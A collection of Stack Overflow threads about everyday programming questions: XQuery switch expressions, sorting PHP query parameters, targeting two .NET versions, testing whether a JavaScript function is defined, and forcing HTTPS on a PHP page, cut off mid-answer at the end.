[ { "answer_id": 85780, "author": "Sixty4Bit", "author_id": 1681, "author_profile": "https://Stackoverflow.com/users/1681", "pm_score": 2, "selected": false, "text": "<p>XQuery doesn't have a function for switching on anything other than elements.</p>\n\n<p>The first thing you do is convert your string to an element.</p>\n\n\n\n<pre class=\"lang-xquery prettyprint-override\"><code>let $str := \"kitchen\"\nlet $room := element {$str} {}\n</code></pre>\n\n<p>Then just use typeswitch to do a normal switch:</p>\n\n\n\n<pre class=\"lang-xquery prettyprint-override\"><code>return typeswitch($room)\n case element(bathroom) return \"loo\"\n case element(kitchen) return \"scullery\"\n default return \"just a room\"\n</code></pre>\n\n<p><strong><em>Please note, this may be a MarkLogic only solution.</em></strong></p>\n" }, { "answer_id": 171837, "author": "Oliver Hallam", "author_id": 19995, "author_profile": "https://Stackoverflow.com/users/19995", "pm_score": 2, "selected": false, "text": "<p>Just use a series of if expressions:</p>\n\n\n\n<pre class=\"lang-xquery prettyprint-override\"><code>if ($room eq \"bathroom\") then \"loo\"\nelse if ($room eq \"kitchen\") then \"scullery\"\nelse \"just a room\"\n</code></pre>\n\n<p>Using a typeswitch is hiding what you are really doing.</p>\n\n<p>Which of these methods is most efficient will depend on the XQuery processor you are using. In an ideal world it should only be a matter of taste, as it should be down to the optimizer to select the appropriate method, but if performance is important it is worth benchmarking both versions. I would be very surprised if a processor optimized the node construction out of your example, and didn't optimize my example to a specialized switch.</p>\n" }, { "answer_id": 2083615, "author": "Rafal Rusin", "author_id": 252891, "author_profile": "https://Stackoverflow.com/users/252891", "pm_score": 1, "selected": false, "text": "<p>For Saxon, you can use something like this:</p>\n\n\n\n<pre class=\"lang-saxon prettyprint-override\"><code>declare function a:fn($i) {\ntypeswitch ($i)\n case element(a:elemen1, xs:untyped) return 'a' \n case element(a:elemen2, xs:untyped) return 'b' \n default return \"error;\"\n};\n</code></pre>\n\n<p><a href=\"https://rrusin.blogspot.com/2010/01/xquery4j-in-action.html\" rel=\"nofollow noreferrer\">https://rrusin.blogspot.com/2010/01/xquery4j-in-action.html</a></p>\n" }, { "answer_id": 2262130, "author": "Oliver Hallam", "author_id": 19995, "author_profile": "https://Stackoverflow.com/users/19995", "pm_score": 2, "selected": false, "text": "<p>If your processor supports XQuery 1.1, then you can simply do:</p>\n\n\n\n<pre class=\"lang-xquery prettyprint-override\"><code>switch ($room) \n case \"bathroom\" return \"loo\"\n case \"kitchen\" return \"scullery\"\n default return \"just a room\"\n</code></pre>\n" }, { "answer_id": 2767036, "author": "jonathan robie", "author_id": 332581, "author_profile": "https://Stackoverflow.com/users/332581", "pm_score": 6, "selected": true, "text": "<p>Starting with XQuery 1.1, use switch:</p>\n\n<p><a href=\"http://www.w3.org/TR/xquery-11/#id-switch\" rel=\"noreferrer\">http://www.w3.org/TR/xquery-11/#id-switch</a></p>\n\n\n\n<pre class=\"lang-xquery prettyprint-override\"><code>switch ($animal) \n case \"Cow\" return \"Moo\"\n case \"Cat\" return \"Meow\"\n case \"Duck\" return \"Quack\"\n default return \"What's that odd noise?\" \n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85761", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1681/" ]
I have an external variable coming in as a string and I would like to do a switch/case on it. How do I do that in xquery?
Starting with XQuery 1.1, use switch: <http://www.w3.org/TR/xquery-11/#id-switch> ```xquery switch ($animal) case "Cow" return "Moo" case "Cat" return "Meow" case "Duck" return "Quack" default return "What's that odd noise?" ```
85,770
<p>here is the input i am getting from my flash file </p> <p>process.php?Q2=898&amp;Aa=Grade1&amp;Tim=0%3A0%3A12&amp;Q1=908&amp;Bb=lkj&amp;Q4=jhj&amp;Q3=08&amp;Cc=North%20America&amp;Q0=1</p> <p>and in php i use this code foreach ($_GET as $field => $label) { $datarray[]=$_GET[$field];</p> <pre><code>echo "$field :"; echo $_GET[$field];; echo "&lt;br&gt;"; </code></pre> <p>i get this out put</p> <p>Q2 :898 Aa :Grade1 Tim :0:0:12 Q1 :908 Bb :lkj Q4 :jhj Q3 :08 Cc :North America Q0 :1</p> <p>now my question is how do i sort it alphabaticaly so it should look like this Aa :Grade1 Bb :lkj Cc :North America Q0 :1 Q1 :908</p> <p>and so on....before i can insert it into the DB</p>
[ { "answer_id": 85792, "author": "terminus", "author_id": 9232, "author_profile": "https://Stackoverflow.com/users/9232", "pm_score": 4, "selected": true, "text": "<pre><code>ksort($_GET);\n</code></pre>\n<p>This should <a href=\"http://php.net/manual/en/function.ksort.php\" rel=\"nofollow noreferrer\">ksort</a> the <code>$_GET</code> array by it's keys. <a href=\"http://php.net/manual/en/function.krsort.php\" rel=\"nofollow noreferrer\">krsort</a> for reverse order.</p>\n" }, { "answer_id": 85809, "author": "Leonid Shevtsov", "author_id": 6678, "author_profile": "https://Stackoverflow.com/users/6678", "pm_score": 1, "selected": false, "text": "<p>what you're looking for is <a href=\"http://php.net/manual/en/function.ksort.php\" rel=\"nofollow noreferrer\">ksort</a>. Dig the PHP manual! ;)</p>\n" }, { "answer_id": 85841, "author": "micahwittman", "author_id": 11181, "author_profile": "https://Stackoverflow.com/users/11181", "pm_score": 0, "selected": false, "text": "<p>To get a natural sort by key:</p>\n\n<pre><code>function knatsort(&amp;$karr){\n $kkeyarr = array_keys($karr);\n natsort($kkeyarr);\n $ksortedarr = array();\n foreach($kkeyarr as $kcurrkey){\n $ksortedarr[$kcurrkey] = $karr[$kcurrkey];\n }\n $karr = $ksortedarr;\n return true;\n}\n</code></pre>\n\n<p><em>Thanks, PHP Manual!</em></p>\n\n<pre><code>foreach ($_GET as $key =&gt; $value) {\n echo $key.' - '.$value.'&lt;br/&gt;';\n}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85770", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16458/" ]
here is the input i am getting from my flash file process.php?Q2=898&Aa=Grade1&Tim=0%3A0%3A12&Q1=908&Bb=lkj&Q4=jhj&Q3=08&Cc=North%20America&Q0=1 and in php i use this code foreach ($\_GET as $field => $label) { $datarray[]=$\_GET[$field]; ``` echo "$field :"; echo $_GET[$field];; echo "<br>"; ``` i get this out put Q2 :898 Aa :Grade1 Tim :0:0:12 Q1 :908 Bb :lkj Q4 :jhj Q3 :08 Cc :North America Q0 :1 now my question is how do i sort it alphabaticaly so it should look like this Aa :Grade1 Bb :lkj Cc :North America Q0 :1 Q1 :908 and so on....before i can insert it into the DB
``` ksort($_GET); ``` This should [ksort](http://php.net/manual/en/function.ksort.php) the `$_GET` array by it's keys. [krsort](http://php.net/manual/en/function.krsort.php) for reverse order.
85,773
<p>My source code needs to support both .NET version 1.1 and 2.0 ... how do I test for the different versions &amp; what is the best way to deal with this situation.</p> <p>I'm wondering if I should have the two sections of code inline, in separate classes, methods etc. What do you think?</p>
[ { "answer_id": 85827, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 0, "selected": false, "text": "<p>I would be asking the question of WHY you have to maintain two code bases, I would pick one and go with it if there is any chance of it.</p>\n\n<p>Trying to keep two code bases in sync with the number of changes, and types of changes would be very complex, and a build process to build for either version would be very complex.</p>\n" }, { "answer_id": 85874, "author": "Rick Minerich", "author_id": 9251, "author_profile": "https://Stackoverflow.com/users/9251", "pm_score": 2, "selected": false, "text": "<p>There are a lot of different options here. Where I work we use #if pragmas but it could also be done with separate assemblies for the separate versions. </p>\n\n<p>Ideally you would at least keep the version dependant code in separate partial class files and make the correct version available at compile time. I would enforce this if I could go back in time, our code base now has a whole lot of #if pragmas and sometimes it can be hard to manage. The worst part of the whole #if pragma thing is that Visual Studio just ignores anything that won't compile with the current defines and so it's very easy to check in breaking changes.</p>\n\n<p><a href=\"http://www.nunit.org/index.php\" rel=\"nofollow noreferrer\">NUnit</a> supports both 1.1 and 2.0 and so is a good choice for a test framework. It's not too hard to use something like <a href=\"http://nant.sourceforge.net/\" rel=\"nofollow noreferrer\">NAnt</a> to make separate 1.1 and 2.0 builds and then automatically run the NUnit tests.</p>\n" }, { "answer_id": 85883, "author": "Jason Cohen", "author_id": 4926, "author_profile": "https://Stackoverflow.com/users/4926", "pm_score": 0, "selected": false, "text": "<p>We had this problem and we ended up with a \"compatability layer\" where we implemented a single set of interfaces and utility code for .NET v1.1 and v2.0.</p>\n\n<p>Then our installer laid down the right code for the right version. We used <a href=\"http://nsis.sourceforge.net/\" rel=\"nofollow noreferrer\">NSIS</a> (free!), and they have functions you can call to determine the .NET version.</p>\n" }, { "answer_id": 85902, "author": "Scott Dorman", "author_id": 1559, "author_profile": "https://Stackoverflow.com/users/1559", "pm_score": 2, "selected": true, "text": "<p>If you want to do something like this you will need to use preprocessor commands and conditional compilation symbols.</p>\n\n<p>I would use symbols that clearly indicate the version of .NET you are targeting (say NET11 and NET20) and then wrap the relevant code like this:</p>\n\n<pre><code>#if NET11\n// .NET 1.1 code\n#elif NET20\n// .NET 2.0 code\n#endif\n</code></pre>\n\n<p>The reason for doing it this way rather than a simple if/else is an extra layer of protection in case someone forgets to define the symbol.</p>\n\n<p>That being said, you should really drill down to the heart of the reason why you want/need to do this.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85773", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4491/" ]
My source code needs to support both .NET version 1.1 and 2.0 ... how do I test for the different versions & what is the best way to deal with this situation. I'm wondering if I should have the two sections of code inline, in separate classes, methods etc. What do you think?
If you want to do something like this you will need to use preprocessor commands and conditional compilation symbols. I would use symbols that clearly indicate the version of .NET you are targeting (say NET11 and NET20) and then wrap the relevant code like this: ``` #if NET11 // .NET 1.1 code #elif NET20 // .NET 2.0 code #endif ``` The reason for doing it this way rather than a simple if/else is an extra layer of protection in case someone forgets to define the symbol. That being said, you should really drill down to the heart of the reason why you want/need to do this.
85,815
<p>How do you tell if a function in JavaScript is defined?</p> <p>I want to do something like this</p> <pre><code>function something_cool(text, callback) { alert(text); if( callback != null ) callback(); } </code></pre> <p>But it gets me a</p> <blockquote> <p>callback is not a function</p> </blockquote> <p>error when callback is not defined.</p>
[ { "answer_id": 85822, "author": "Tom Ritter", "author_id": 8435, "author_profile": "https://Stackoverflow.com/users/8435", "pm_score": 10, "selected": true, "text": "<pre><code>typeof callback === \"function\"\n</code></pre>\n" }, { "answer_id": 85825, "author": "bdukes", "author_id": 2688, "author_profile": "https://Stackoverflow.com/users/2688", "pm_score": 3, "selected": false, "text": "<p>Try:</p>\n\n<pre><code>if (typeof(callback) == 'function')\n</code></pre>\n" }, { "answer_id": 85838, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<pre><code>typeof(callback) == \"function\"\n</code></pre>\n" }, { "answer_id": 85849, "author": "Brian", "author_id": 16457, "author_profile": "https://Stackoverflow.com/users/16457", "pm_score": 2, "selected": false, "text": "<p>Try:</p>\n\n<pre><code>if (!(typeof(callback)=='undefined')) {...}\n</code></pre>\n" }, { "answer_id": 85899, "author": "ConroyP", "author_id": 2287, "author_profile": "https://Stackoverflow.com/users/2287", "pm_score": 2, "selected": false, "text": "<pre><code>function something_cool(text, callback){\n alert(text);\n if(typeof(callback)=='function'){ \n callback(); \n };\n}\n</code></pre>\n" }, { "answer_id": 85946, "author": "Robin like the bird", "author_id": 14405, "author_profile": "https://Stackoverflow.com/users/14405", "pm_score": 4, "selected": false, "text": "<pre><code>if (callback &amp;&amp; typeof(callback) == \"function\")\n</code></pre>\n\n<p>Note that callback (by itself) evaluates to <code>false</code> if it is <code>undefined</code>, <code>null</code>, <code>0</code>, or <code>false</code>. Comparing to <code>null</code> is overly specific.</p>\n" }, { "answer_id": 85973, "author": "Jason Bunting", "author_id": 1790, "author_profile": "https://Stackoverflow.com/users/1790", "pm_score": 8, "selected": false, "text": "<p>All of the current answers use a literal string, which I prefer to not have in my code if possible - this does not (and provides valuable semantic meaning, to boot):</p>\n\n<pre><code>function isFunction(possibleFunction) {\n return typeof(possibleFunction) === typeof(Function);\n}\n</code></pre>\n\n<p>Personally, I try to reduce the number of strings hanging around in my code...</p>\n\n<hr>\n\n<p>Also, while I am aware that <code>typeof</code> is an operator and not a function, there is little harm in using syntax that makes it appear as the latter.</p>\n" }, { "answer_id": 88475, "author": "Andrew Hedges", "author_id": 11577, "author_profile": "https://Stackoverflow.com/users/11577", "pm_score": 2, "selected": false, "text": "<pre><code>if ('function' === typeof callback) ...\n</code></pre>\n" }, { "answer_id": 3762574, "author": "patriciorocca", "author_id": 427890, "author_profile": "https://Stackoverflow.com/users/427890", "pm_score": 3, "selected": false, "text": "<p>Those methods to tell if a function is implemented also fail if variable is not defined so we are using something more powerful that supports receiving an string:</p>\n\n<pre><code>function isFunctionDefined(functionName) {\n if(eval(\"typeof(\" + functionName + \") == typeof(Function)\")) {\n return true;\n }\n}\n\nif (isFunctionDefined('myFunction')) {\n myFunction(foo);\n}\n</code></pre>\n" }, { "answer_id": 10524738, "author": "eWolf", "author_id": 96603, "author_profile": "https://Stackoverflow.com/users/96603", "pm_score": 2, "selected": false, "text": "<p>Try this:</p>\n\n<pre><code>callback instanceof Function\n</code></pre>\n" }, { "answer_id": 23370622, "author": "Russell Ormes", "author_id": 2969567, "author_profile": "https://Stackoverflow.com/users/2969567", "pm_score": 3, "selected": false, "text": "<p>New to JavaScript I am not sure if the behaviour has changed but the solution given by Jason Bunting (6 years ago) won't work if possibleFunction is not defined. </p>\n\n<pre><code>function isFunction(possibleFunction) {\n return (typeof(possibleFunction) == typeof(Function));\n}\n</code></pre>\n\n<p>This will throw a <code>ReferenceError: possibleFunction is not defined</code> error as the engine tries to resolve the symbol possibleFunction (as mentioned in the comments to Jason's answer)</p>\n\n<p>To avoid this behaviour you can only pass the name of the function you want to check if it exists. So</p>\n\n<pre><code>var possibleFunction = possibleFunction || {};\nif (!isFunction(possibleFunction)) return false;\n</code></pre>\n\n<p>This sets a variable to be either the function you want to check or the empty object if it is not defined and so avoids the issues mentioned above. </p>\n" }, { "answer_id": 28120634, "author": "Quentin Engles", "author_id": 1451600, "author_profile": "https://Stackoverflow.com/users/1451600", "pm_score": 3, "selected": false, "text": "<p>I might do</p>\n\n<pre><code>try{\n callback();\n}catch(e){};\n</code></pre>\n\n<p>I know there's an accepted answer, but no one suggested this. I'm not really sure if this fits the description of idiomatic, but it works for all cases.</p>\n\n<p>In newer JavaScript engines a <code>finally</code> can be used instead.</p>\n" }, { "answer_id": 28202317, "author": "Sudheer Aedama", "author_id": 1332911, "author_profile": "https://Stackoverflow.com/users/1332911", "pm_score": 1, "selected": false, "text": "<p>If you use <a href=\"http://underscorejs.org\" rel=\"nofollow\">http://underscorejs.org</a>, you have:\n<a href=\"http://underscorejs.org/#isFunction\" rel=\"nofollow\">http://underscorejs.org/#isFunction</a></p>\n\n<pre><code>_.isFunction(callback);\n</code></pre>\n" }, { "answer_id": 30647198, "author": "miguelmpn", "author_id": 2641352, "author_profile": "https://Stackoverflow.com/users/2641352", "pm_score": 1, "selected": false, "text": "<p>I was looking for how to check if a jQuery function was defined and I didn't find it easily.</p>\n\n<p>Perhaps might need it ;)</p>\n\n<pre><code>if(typeof jQuery.fn.datepicker !== \"undefined\")\n</code></pre>\n" }, { "answer_id": 34863212, "author": "Samir Alajmovic", "author_id": 1645369, "author_profile": "https://Stackoverflow.com/users/1645369", "pm_score": -1, "selected": false, "text": "<p>One-line solution:</p>\n\n<pre><code>function something_cool(text, callback){\n callback &amp;&amp; callback();\n}\n</code></pre>\n" }, { "answer_id": 36669851, "author": "VentyCZ", "author_id": 2178127, "author_profile": "https://Stackoverflow.com/users/2178127", "pm_score": 2, "selected": false, "text": "<p>If you look at the <a href=\"http://underscorejs.org/docs/underscore.html\" rel=\"nofollow\">source</a> of the library @Venkat Sudheer Reddy Aedama mentioned, underscorejs, you can see this:</p>\n\n<pre><code>_.isFunction = function(obj) {\n return typeof obj == 'function' || false;\n};\n</code></pre>\n\n<p>This is just my HINT, HINT answer :></p>\n" }, { "answer_id": 46743214, "author": "Nick Tsai", "author_id": 4767939, "author_profile": "https://Stackoverflow.com/users/4767939", "pm_score": 1, "selected": false, "text": "<p>If the <code>callback()</code> you are calling not just for one time in a function, you could initialize the argument for reuse:</p>\n\n<pre><code>callback = (typeof callback === \"function\") ? callback : function(){};\n</code></pre>\n\n<p>For example:</p>\n\n<pre><code>function something_cool(text, callback) {\n // Initialize arguments\n callback = (typeof callback === \"function\") ? callback : function(){};\n\n alert(text);\n\n if (text==='waitAnotherAJAX') {\n anotherAJAX(callback);\n } else {\n callback();\n }\n}\n</code></pre>\n\n<p>The limitation is that it will always execute the callback argument although it's undefined.</p>\n" }, { "answer_id": 46743451, "author": "inf3rno", "author_id": 607033, "author_profile": "https://Stackoverflow.com/users/607033", "pm_score": 0, "selected": false, "text": "<p>For global functions you can use this one instead of <code>eval</code> suggested in one of the answers.</p>\n\n<pre><code>var global = (function (){\n return this;\n})();\n\nif (typeof(global.f) != \"function\")\n global.f = function f1_shim (){\n // commonly used by polyfill libs\n };\n</code></pre>\n\n<p>You can use <code>global.f instanceof Function</code> as well, but afaik. the value of the <code>Function</code> will be different in different frames, so it will work only with a single frame application properly. That's why we usually use <code>typeof</code> instead. Note that in some environments there can be anomalies with <code>typeof f</code> too, e.g. by MSIE 6-8 some of the functions for example <code>alert</code> had \"object\" type.</p>\n\n<p>By local functions you can use the one in the accepted answer. You can test whether the function is local or global too.</p>\n\n<pre><code>if (typeof(f) == \"function\")\n if (global.f === f)\n console.log(\"f is a global function\");\n else\n console.log(\"f is a local function\");\n</code></pre>\n\n<p>To answer the question, the example code is working for me without error in latest browers, so I am not sure what was the problem with it:</p>\n\n<pre><code>function something_cool(text, callback) {\n alert(text);\n if( callback != null ) callback();\n}\n</code></pre>\n\n<p>Note: I would use <code>callback !== undefined</code> instead of <code>callback != null</code>, but they do almost the same.</p>\n" }, { "answer_id": 48353446, "author": "TexWiller", "author_id": 457043, "author_profile": "https://Stackoverflow.com/users/457043", "pm_score": 0, "selected": false, "text": "<p>Most if not all previous answers have side effects to invoke the function</p>\n\n<p>here best practice</p>\n\n<p>you have function</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function myFunction() {\r\n var x=1;\r\n }</code></pre>\r\n</div>\r\n</div>\r\n\ndirect way to test for it</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>//direct way\r\n if( (typeof window.myFunction)=='function')\r\n alert('myFunction is function')\r\n else\r\n alert('myFunction is not defined');</code></pre>\r\n</div>\r\n</div>\r\n\nusing a string so you can have only one place to define function name</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>//byString\r\n var strFunctionName='myFunction'\r\n if( (typeof window[strFunctionName])=='function')\r\n alert(s+' is function');\r\n else\r\n alert(s+' is not defined');</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 57274441, "author": "David Spector", "author_id": 2184308, "author_profile": "https://Stackoverflow.com/users/2184308", "pm_score": 0, "selected": false, "text": "<p>If you wish to redefine functions, it is best to use function variables, which are defined in their order of occurrence, since functions are defined globally, no matter where they occur.</p>\n\n<p>Example of creating a new function that calls a previous function of the same name:</p>\n\n<pre><code>A=function() {...} // first definition\n...\nif (typeof A==='function')\n oldA=A;\nA=function() {...oldA()...} // new definition\n</code></pre>\n" }, { "answer_id": 57876373, "author": "Patrick Ogbuitepu", "author_id": 11969299, "author_profile": "https://Stackoverflow.com/users/11969299", "pm_score": 0, "selected": false, "text": "<p>This worked for me</p>\n\n<pre><code>if( cb &amp;&amp; typeof( eval( cb ) ) === \"function\" ){\n eval( cb + \"()\" );\n}\n</code></pre>\n" }, { "answer_id": 68829303, "author": "Michel Casabianca", "author_id": 1294047, "author_profile": "https://Stackoverflow.com/users/1294047", "pm_score": -1, "selected": false, "text": "<p>I would rather suggest following function:</p>\n<pre><code>function isFunction(name) {\n return eval(`typeof ${name} === typeof Function`);\n}\n</code></pre>\n" }, { "answer_id": 71755388, "author": "Darren G", "author_id": 10302934, "author_profile": "https://Stackoverflow.com/users/10302934", "pm_score": 2, "selected": false, "text": "<p>Using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining#optional_chaining_with_function_calls\" rel=\"nofollow noreferrer\">optional chaining with function calls</a> you could do the following:</p>\n<pre class=\"lang-js prettyprint-override\"><code>function something_cool(text, callback) {\n alert(text);\n callback?.();\n}\n</code></pre>\n<p>If <code>callback</code> is a function, it will be executed.</p>\n<p>If <code>callback</code> is <code>null</code> or <code>undefined</code>, no error is thrown and nothing happens.</p>\n<p>However, if <code>callback</code> is something else e.g. a string or number, a TypeError will still be thrown.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85815", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8351/" ]
How do you tell if a function in JavaScript is defined? I want to do something like this ``` function something_cool(text, callback) { alert(text); if( callback != null ) callback(); } ``` But it gets me a > > callback is not a function > > > error when callback is not defined.
``` typeof callback === "function" ```
85,816
<p>I've got just one page that I want to force to be accessed as an HTTPS page (PHP on Apache). How do I do this without making the whole directory require HTTPS? Or, if you submit a form to an HTTPS page from an HTTP page, does it send it by HTTPS instead of HTTP?</p> <p>Here is my example:</p> <pre><code>http://www.example.com/some-page.php </code></pre> <p>I want it to only be accessed through:</p> <pre><code>https://www.example.com/some-page.php </code></pre> <p>Sure, I can put all of the links to this page pointed at the HTTPS version, but that doesn't stop some fool from accessing it through HTTP on purpose...</p> <p>One thing I thought was putting a redirect in the header of the PHP file to check to be sure that they are accessing the HTTPS version:</p> <pre><code>if($_SERVER[&quot;SCRIPT_URI&quot;] == &quot;http://www.example.com/some-page.php&quot;){ header('Location: https://www.example.com/some-page.php'); } </code></pre> <p>But that can't be the right way, can it?</p>
[ { "answer_id": 85835, "author": "thebigjc", "author_id": 16507, "author_profile": "https://Stackoverflow.com/users/16507", "pm_score": 6, "selected": false, "text": "<p>You could do it with a directive and mod_rewrite on Apache:</p>\n\n<pre><code>&lt;Location /buyCrap.php&gt;\nRewriteEngine On\nRewriteCond %{HTTPS} off\nRewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}\n&lt;/Location&gt;\n</code></pre>\n\n<p>You could make the Location smarter over time using <a href=\"http://en.wikipedia.org/wiki/Regular_expression\" rel=\"noreferrer\">regular expressions</a> if you want. </p>\n" }, { "answer_id": 85846, "author": "DGM", "author_id": 14253, "author_profile": "https://Stackoverflow.com/users/14253", "pm_score": 2, "selected": false, "text": "<p>Use <code>$_SERVER['HTTPS']</code> to tell if it is <a href=\"http://en.wikipedia.org/wiki/Transport_Layer_Security\" rel=\"nofollow noreferrer\">SSL</a>, and redirect to the right place if not.</p>\n\n<p>And remember, the page that displays the form does not need to be fed via HTTPS, it's the post back URL that needs it most.</p>\n\n<p><em>Edit</em>: yes, as is pointed out below, it's best to have the entire process in HTTPS. It's much more reassuring - I was pointing out that the post is the most critical part. Also, you need to take care that any cookies are set to be secure, so they will only be sent via SSL. The mod_rewrite solution is also very nifty, I've used it to secure a lot of applications on my own website.</p>\n" }, { "answer_id": 85867, "author": "Adam Rosenfield", "author_id": 9530, "author_profile": "https://Stackoverflow.com/users/9530", "pm_score": 8, "selected": false, "text": "<p>The way I've done it before is basically like what you wrote, but doesn't have any hardcoded values:</p>\n\n<pre>if($_SERVER[\"HTTPS\"] != \"on\")\n{\n header(\"Location: https://\" . $_SERVER[\"HTTP_HOST\"] . $_SERVER[\"REQUEST_URI\"]);\n exit();\n}</pre>\n" }, { "answer_id": 85878, "author": "JBB", "author_id": 12332, "author_profile": "https://Stackoverflow.com/users/12332", "pm_score": 1, "selected": false, "text": "<p>Don't mix HTTP and HTTPS on the same page. If you have a form page that is served up via HTTP, I'm going to be nervous about submitting data -- I can't see if the submit goes over HTTPS or HTTP without doing a View Source and hunting for it.</p>\n\n<p>Serving up the form over HTTPS along with the submit link isn't that heavy a change for the advantage.</p>\n" }, { "answer_id": 85888, "author": "Kent Fredric", "author_id": 15614, "author_profile": "https://Stackoverflow.com/users/15614", "pm_score": 0, "selected": false, "text": "<p>You shouldn't for security reasons. Especially if cookies are in play here. It leaves you wide open to cookie-based replay attacks. </p>\n\n<p>Either way, you should use Apache control rules to tune it.</p>\n\n<p>Then you can test for HTTPS being enabled and redirect as-needed where needed. </p>\n\n<p>You should redirect to the pay page only using a FORM POST (no get), \nand accesses to the page without a POST should be directed back to the other pages. \n(This will catch the people just hot-jumping.) </p>\n\n<p><a href=\"http://joseph.randomnetworks.com/archives/2004/07/22/redirect-to-ssl-using-apaches-htaccess/\" rel=\"nofollow noreferrer\">http://joseph.randomnetworks.com/archives/2004/07/22/redirect-to-ssl-using-apaches-htaccess/</a></p>\n\n<p>Is a good place to start, apologies for not providing more. But you really <em>should</em> shove everything through SSL.</p>\n\n<p>It's over-protective, but at least you have less worries. </p>\n" }, { "answer_id": 4520249, "author": "Jeff", "author_id": 552545, "author_profile": "https://Stackoverflow.com/users/552545", "pm_score": 3, "selected": false, "text": "<pre><code>// Force HTTPS for security\nif($_SERVER[\"HTTPS\"] != \"on\") {\n $pageURL = \"Location: https://\";\n if ($_SERVER[\"SERVER_PORT\"] != \"80\") {\n $pageURL .= $_SERVER[\"SERVER_NAME\"] . \":\" . $_SERVER[\"SERVER_PORT\"] . $_SERVER[\"REQUEST_URI\"];\n } else {\n $pageURL .= $_SERVER[\"SERVER_NAME\"] . $_SERVER[\"REQUEST_URI\"];\n }\n header($pageURL);\n}\n</code></pre>\n" }, { "answer_id": 12145293, "author": "Jacob Swartwood", "author_id": 777919, "author_profile": "https://Stackoverflow.com/users/777919", "pm_score": 5, "selected": false, "text": "<p>You should force the <em>client</em> to request HTTPS always with <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HTTP Strict Transport Security</a> (HSTS) headers:</p>\n\n<pre><code>// Use HTTP Strict Transport Security to force client to use secure connections only\n$use_sts = true;\n\n// iis sets HTTPS to 'off' for non-SSL requests\nif ($use_sts &amp;&amp; isset($_SERVER['HTTPS']) &amp;&amp; $_SERVER['HTTPS'] != 'off') {\n header('Strict-Transport-Security: max-age=31536000');\n} elseif ($use_sts) {\n header('Location: https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], true, 301);\n // we are in cleartext at the moment, prevent further execution and output\n die();\n}\n</code></pre>\n\n<p>Please note that HSTS is supported in most modern browsers, but not universal. Thus the logic above manually redirects the user regardless of support if they end up on HTTP, and then sets the HSTS header so that further client requests should be redirected by the browser if possible.</p>\n" }, { "answer_id": 14072023, "author": "itsazzad", "author_id": 540144, "author_profile": "https://Stackoverflow.com/users/540144", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://www.besthostratings.com/articles/force-ssl-htaccess.html\" rel=\"noreferrer\">http://www.besthostratings.com/articles/force-ssl-htaccess.html</a></p>\n\n<p>Sometimes you may need to make sure that the user is browsing your site over securte connection. An easy to way to always redirect the user to secure connection (https://) can be accomplished with a .htaccess file containing the following lines:</p>\n\n<pre><code>RewriteEngine On \nRewriteCond %{SERVER_PORT} 80 \nRewriteRule ^(.*)$ https://www.example.com/$1 [R,L]\n</code></pre>\n\n<p>Please, note that the .htaccess should be located in the web site main folder.</p>\n\n<p>In case you wish to force HTTPS for a particular folder you can use:</p>\n\n<pre><code>RewriteEngine On \nRewriteCond %{SERVER_PORT} 80 \nRewriteCond %{REQUEST_URI} somefolder \nRewriteRule ^(.*)$ https://www.domain.com/somefolder/$1 [R,L]\n</code></pre>\n\n<p>The .htaccess file should be placed in the folder where you need to force HTTPS.</p>\n" }, { "answer_id": 26090961, "author": "Spell", "author_id": 3774510, "author_profile": "https://Stackoverflow.com/users/3774510", "pm_score": -1, "selected": false, "text": "<pre><code>&lt;?php \n// Require https\nif ($_SERVER['HTTPS'] != \"on\") {\n $url = \"https://\". $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];\n header(\"Location: $url\");\n exit;\n}\n?&gt;\n</code></pre>\n\n<p>That easy.</p>\n" }, { "answer_id": 27556415, "author": "syvex", "author_id": 766172, "author_profile": "https://Stackoverflow.com/users/766172", "pm_score": 3, "selected": false, "text": "<p>Had to do something like this when running behind a load balancer. Hat tip <a href=\"https://stackoverflow.com/a/16076965/766172\">https://stackoverflow.com/a/16076965/766172</a></p>\n\n<pre><code>function isSecure() {\n return (\n (!empty($_SERVER['HTTPS']) &amp;&amp; $_SERVER['HTTPS'] !== 'off')\n || $_SERVER['SERVER_PORT'] == 443\n || (\n (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) &amp;&amp; $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')\n || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) &amp;&amp; $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on')\n )\n );\n}\n\nfunction requireHTTPS() {\n if (!isSecure()) {\n header('Location: https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], TRUE, 301);\n exit;\n }\n}\n</code></pre>\n" }, { "answer_id": 30655191, "author": "JSG", "author_id": 1642731, "author_profile": "https://Stackoverflow.com/users/1642731", "pm_score": 3, "selected": false, "text": "<p>Ok.. Now there is tons of stuff on this now but no one really completes the \n\"Secure\" question. For me it is rediculous to use something that is 